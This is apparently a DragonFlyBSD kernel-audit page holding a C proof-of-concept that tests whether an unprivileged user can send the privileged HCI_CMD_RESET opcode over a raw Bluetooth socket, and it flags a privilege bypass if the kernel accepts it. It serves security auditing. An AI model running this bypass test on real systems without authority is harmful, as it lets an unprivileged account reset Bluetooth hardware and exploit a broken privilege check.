⬢ DragonFlyBSD Kernel Audit
DF-5741 / bypass.c
← back to finding ↓ download raw
/* unpriv check: send HCI_CMD_RESET (privileged opcode) from a
 * non-root uid; expect EPERM if the filter works, success if the
 * socket wrongly got HCI_PRIVILEGED */
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netbt/bluetooth.h>
#include <netbt/hci.h>

int
main(void)
{
	struct sockaddr_bt sa;
	uint8_t reset[] = { 0x01, 0x03, 0x0c, 0x00 }; /* HCI_CMD_RESET */
	uint8_t read_bd[] = { 0x01, 0x09, 0x10, 0x00 }; /* READ_BDADDR */
	int s;
	ssize_t n;

	printf("uid=%d euid=%d\n", getuid(), geteuid());
	s = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
	if (s < 0) { perror("socket"); return 1; }

	memset(&sa, 0, sizeof(sa));
	sa.bt_len = sizeof(sa);
	sa.bt_family = AF_BLUETOOTH;
	bdaddr_t ba = { { 0x11, 0x22, 0x33, 0x44, 0x55, 0x66 } };
	bdaddr_copy(&sa.bt_bdaddr, &ba);
	if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0)
		{ perror("connect"); return 1; }

	errno = 0;
	n = send(s, reset, sizeof(reset), 0);
	printf("send(HCI_CMD_RESET)   = %zd errno=%d (%s)\n",
	    n, errno, n < 0 ? strerror(errno) : "QUEUED-OK");
	if (n >= 0) {
		printf("*** PRIVILEGE BYPASS: unprivileged uid queued a "
		    "privileged opcode (HCI_PRIVILEGED set on socket) ***\n");
	}

	errno = 0;
	n = send(s, read_bd, sizeof(read_bd), 0);
	printf("send(HCI_READ_BDADDR) = %zd errno=%d (%s)\n",
	    n, errno, n < 0 ? strerror(errno) : "QUEUED-OK");
	return 0;
}